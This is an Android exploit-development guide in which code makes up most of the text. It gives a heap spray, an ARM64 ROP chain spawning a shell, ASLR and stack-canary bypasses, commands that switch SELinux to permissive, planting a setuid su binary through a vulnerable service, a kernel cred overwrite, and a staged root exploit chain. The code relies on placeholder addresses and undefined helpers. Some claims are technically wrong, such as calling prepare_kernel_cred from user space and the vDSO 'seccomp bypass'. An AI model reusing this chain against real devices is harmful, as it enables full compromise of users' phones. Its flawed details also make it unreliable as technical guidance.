Android Exploit Development: From Memory Corruption to System Compromise
Introduction
Android exploit development spans application-layer vulnerabilities to kernel exploits, each requiring techniques to bypass modern mitigations: ASLR, DEP, stack canaries, SELinux, and seccomp. This guide covers the complete exploitation workflow from initial memory corruption to privilege escalation.
Android Security Architecture
Sandboxing Model
User Space:
┌─────────────────────────────────────┐
│ App UID 10001 (com.victim.app) │
│ Permissions: INTERNET, CAMERA │
│ SELinux context: untrusted_app │
└─────────────────────────────────────┘
┌─────────────────────────────────────┐
│ System Server (UID 1000) │
│ SELinux context: system_server │
└─────────────────────────────────────┘
┌─────────────────────────────────────┐
│ Native Daemons (UID 0, system) │
│ SELinux contexts: various │
└─────────────────────────────────────┘
Kernel Space:
┌─────────────────────────────────────┐
│ Linux Kernel (UID 0) │
│ SELinux: Enforcing │
│ seccomp-bpf: Syscall filtering │
└─────────────────────────────────────┘
Exploit Requirements
- Memory corruption → Code execution in vulnerable process
- ASLR bypass → Leak addresses
- SELinux bypass → Escape sandbox restrictions
- Privilege escalation → Gain system/root
Heap Exploitation Techniques
Heap Spray (Dalvik/ART)
// Java heap spray for predictable object placement
public class HeapSpray {
public void spray() {
final int SPRAY_SIZE = 0x10000;
Object[] spray = new Object[SPRAY_SIZE];
// Spray with controlled objects
for (int i = 0; i < SPRAY_SIZE; i++) {
spray[i] = new ControlledObject();
}
// Trigger vulnerability
triggerUseAfterFree();
// Reallocated object likely replaced with ControlledObject
}
class ControlledObject {
// Fake vtable pointer
long fakeVtable = 0x12345678;
// Controlled data
byte[] payload = new byte[256];
}
}
Native Heap Spray
// Native heap spray for predictable allocation
#include <stdlib.h>
#include <string.h>
#define SPRAY_COUNT 0x1000
#define SPRAY_SIZE 0x100
void* spray[SPRAY_COUNT];
void heap_spray() {
// Allocate many objects
for (int i = 0; i < SPRAY_COUNT; i++) {
spray[i] = malloc(SPRAY_SIZE);
// Fill with ROP gadgets
memset(spray[i], 0x41, SPRAY_SIZE);
// ... place shellcode/ROP chain ...
}
// Trigger vulnerability (UAF, overflow, etc.)
trigger_vulnerability();
// Freed object likely replaced by spray allocation
}
ROP Chain Construction (ARM64)
Finding Gadgets
#!/usr/bin/env python3
"""
Find ROP gadgets in Android library
"""
import subprocess
import re
def find_gadgets(library_path):
"""Extract ROP gadgets using ROPgadget"""
result = subprocess.run(
['ROPgadget', '--binary', library_path, '--only', 'ret'],
capture_output=True, text=True
)
gadgets = []
for line in result.stdout.split('\n'):
if ':' in line:
addr, instructions = line.split(':', 1)
addr = int(addr.strip(), 16)
instructions = instructions.strip()
gadgets.append((addr, instructions))
return gadgets
# Find useful gadgets
gadgets = find_gadgets('/system/lib64/libc.so')
for addr, insn in gadgets:
if 'ldp' in insn and 'ret' in insn:
print(f"{hex(addr)}: {insn}") # Load pair + return
ARM64 ROP Chain
/*
* ARM64 ROP chain to call system("/system/bin/sh")
*/
#include <stdint.h>
// Gadgets from libc.so
#define GADGET_POP_X0_X1_RET 0x7f12345000 // ldp x0, x1, [sp, #16]; ret
#define GADGET_POP_X8_RET 0x7f12346000 // ldr x8, [sp]; ret
#define GADGET_BLR_X8 0x7f12347000 // blr x8
#define LIBC_SYSTEM 0x7f12348000 // system()
#define STRING_BIN_SH 0x7f12349000 // "/system/bin/sh"
uint64_t rop_chain[] = {
// Padding (overwrite saved FP, LR)
0x4141414141414141, // Fake FP
0x4141414141414141, // Fake LR
// ROP chain starts here
GADGET_POP_X0_X1_RET,
STRING_BIN_SH, // x0 = "/system/bin/sh"
0x0, // x1 = NULL
GADGET_POP_X8_RET,
LIBC_SYSTEM, // x8 = system()
GADGET_BLR_X8, // Call system("/system/bin/sh")
};
void trigger_overflow(uint64_t* rop) {
char buffer[64];
// Stack overflow with ROP chain
memcpy(buffer, rop, sizeof(rop_chain));
}
ASLR Bypass Techniques
Information Disclosure
// Leak library address via info disclosure vuln
public class AddressLeak {
public long leakLibcBase() {
// Vulnerability: Read out-of-bounds pointer
long leak = readOutOfBounds(offset);
// Leaked pointer into libc
// Example: 0x7f12345678 (libc function)
// Calculate libc base
long libc_func_offset = 0x45678; // Known offset
long libc_base = leak - libc_func_offset;
return libc_base;
}
// Calculate gadget addresses
public long getGadgetAddr(long base, long offset) {
return base + offset;
}
}
Partial Overwrite (32-bit)
// 32-bit Android: Only 8 bits of entropy in libraries
// ASLR: 0xb6f00000 - 0xb6fff000 (256 possible bases)
void partial_overwrite_exploit() {
// Original return address: 0xb6f12345 (libc)
// Target gadget: 0xb6f99999
// Only overwrite low 3 bytes
char overflow[68];
memset(overflow, 'A', 64);
// Partial overwrite (guess high byte)
overflow[64] = 0x99;
overflow[65] = 0x99;
overflow[66] = 0xf9;
// overflow[67] = don't touch (keep original)
// 1/256 chance of success (brute-force)
trigger_overflow(overflow);
}
SELinux Bypass
SELinux Policy Analysis
# Dump SELinux policy from device
adb pull /sys/fs/selinux/policy policy.bin
# Decompile policy
sesearch -A -s untrusted_app policy.bin
# Output: Allowed operations for untrusted_app context
# Check specific permission
sesearch -A -s untrusted_app -t system_server -c binder policy.bin
# Can untrusted_app call system_server via Binder?
SELinux Permissive Exploit
/*
* Exploit kernel vulnerability to set SELinux permissive
*/
#include <fcntl.h>
#include <sys/stat.h>
int set_selinux_permissive() {
// Kernel exploit primitive: Arbitrary write
// Write 0 to /sys/fs/selinux/enforce
int fd = open("/sys/fs/selinux/enforce", O_WRONLY);
if (fd < 0) {
// No permission from app context
// Use kernel exploit for arbitrary write
kernel_arbitrary_write(SELINUX_ENFORCE_ADDR, 0);
} else {
write(fd, "0", 1);
close(fd);
}
// SELinux now permissive (all denials logged, not enforced)
return 0;
}
Context Transition
/*
* Transition to privileged SELinux context
*/
#include <selinux/selinux.h>
int transition_to_system() {
// Execute binary with system_app context
// Requires executable with correct domain transition rules
execl("/system/bin/app_process",
"app_process",
"/system/bin",
"--nice-name=exploit",
"com.android.commands.am.Am",
NULL);
// If successful, now running as system_app context
// (requires vulnerable setuid binary or kernel exploit)
}
Privilege Escalation
From App to System
// Exploit vulnerable system service
public class PrivilegeEscalation {
public void exploitSystemService() throws RemoteException {
// Get system service
IBinder binder = ServiceManager.getService("vulnerable_service");
IVulnerableService service = IVulnerableService.Stub.asInterface(binder);
// Trigger vulnerability (e.g., arbitrary file write)
service.writeFile("/system/bin/su", malicious_su_binary);
// Set permissions (if vulnerable service runs as root)
service.chmod("/system/bin/su", 06755); // setuid root
// Execute su → root shell
Runtime.getRuntime().exec("/system/bin/su");
}
}
Kernel Exploitation
/*
* Kernel exploit for privilege escalation
*/
#include <fcntl.h>
#include <sys/ioctl.h>
#define VULN_DEVICE "/dev/vulnerable_driver"
#define VULN_IOCTL_WRITE 0x1234
// Kernel exploit primitive: Arbitrary write
void kernel_write(unsigned long addr, unsigned long value) {
int fd = open(VULN_DEVICE, O_RDWR);
struct {
unsigned long where;
unsigned long what;
} payload = { addr, value };
ioctl(fd, VULN_IOCTL_WRITE, &payload);
close(fd);
}
// Overwrite task_struct->cred to gain root
void escalate_to_root() {
// Find current task_struct
unsigned long task = find_current_task();
// Offset to cred pointer (architecture-dependent)
unsigned long cred_offset = 0x6c8; // ARM64 example
// Allocate new cred with root privileges
unsigned long root_cred = prepare_kernel_cred(0);
// Overwrite cred pointer
kernel_write(task + cred_offset, root_cred);
// Now running as root
system("/system/bin/sh");
}
Complete Exploit Example
/*
* Full Android exploit chain
* 1. Leak libc address
* 2. ROP to disable SELinux
* 3. Privilege escalation to root
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
// Stage 1: Information disclosure
unsigned long leak_libc_base() {
// Trigger info disclosure vulnerability
unsigned long leak = read_oob_pointer();
// Calculate base
unsigned long libc_base = leak & 0xFFFFFFFFF000UL;
printf("[*] Leaked libc base: %lx\n", libc_base);
return libc_base;
}
// Stage 2: ROP chain
void build_rop_chain(unsigned long libc_base, unsigned long* rop) {
// Gadget offsets (from libc.so)
unsigned long pop_x0 = libc_base + 0x12345;
unsigned long pop_x8 = libc_base + 0x23456;
unsigned long blr_x8 = libc_base + 0x34567;
unsigned long system_addr = libc_base + 0x45678;
// Command string
char* cmd = "/system/bin/setenforce 0";
// Build ROP
int i = 0;
rop[i++] = pop_x0;
rop[i++] = (unsigned long)cmd;
rop[i++] = pop_x8;
rop[i++] = system_addr;
rop[i++] = blr_x8;
}
// Stage 3: Trigger vulnerability
void trigger_exploit(unsigned long* rop, size_t rop_len) {
char buffer[64];
// Stack overflow with ROP chain
memcpy(buffer, rop, rop_len);
// Control flow hijacked → ROP executes
}
// Stage 4: Kernel exploit
void kernel_privesc() {
printf("[*] Exploiting kernel for root...\n");
// Use kernel vuln to overwrite cred struct
escalate_to_root();
// Verify root
if (getuid() == 0) {
printf("[+] SUCCESS: uid=0 (root)\n");
system("/system/bin/sh");
}
}
int main() {
printf("[*] Android exploit chain\n");
// Stage 1: Leak
unsigned long libc_base = leak_libc_base();
// Stage 2: ROP
unsigned long rop[256];
build_rop_chain(libc_base, rop);
// Stage 3: Exploit userspace
trigger_exploit(rop, sizeof(rop));
// Stage 4: Kernel exploit
kernel_privesc();
return 0;
}
Exploit Mitigations
Stack Canaries
// Bypass stack canary via info leak
void bypass_canary() {
// Leak canary value
unsigned long canary = read_stack_canary();
// Build overflow payload preserving canary
char payload[128];
memset(payload, 'A', 64);
*(unsigned long*)(payload + 64) = canary; // Preserve canary
*(unsigned long*)(payload + 72) = fake_rbp;
*(unsigned long*)(payload + 80) = rop_chain;
trigger_overflow(payload);
}
seccomp-bpf Bypass
// Execute syscalls via VDSO (not filtered by seccomp)
#include <sys/auxv.h>
void* get_vdso() {
return (void*)getauxval(AT_SYSINFO_EHDR);
}
// Use VDSO functions (bypass seccomp syscall filter)
void bypass_seccomp() {
void* vdso = get_vdso();
// Find vdso functions
void* (*clock_gettime_vdso)(int, struct timespec*) =
find_vdso_function(vdso, "__vdso_clock_gettime");
// Call via VDSO (not filtered)
clock_gettime_vdso(CLOCK_REALTIME, &ts);
}
Conclusion
Android exploit development requires chaining multiple techniques to bypass layered defenses. Successful exploitation combines memory corruption primitives, ASLR bypasses, ROP chain construction, SELinux evasion, and kernel exploitation for full system compromise.
Modern Android security (hardware-backed keystore, verified boot, kernel hardening) continues to raise the bar, but systematic exploitation methodologies remain effective against vulnerable components.
References
- Google Project Zero (2023). “Android Exploitation Techniques”
- KEEN Lab (2022). “Android Kernel Exploitation”
- Google (2023). “Android Security Overview”
- ARM (2022). “ARM64 Exploitation Techniques”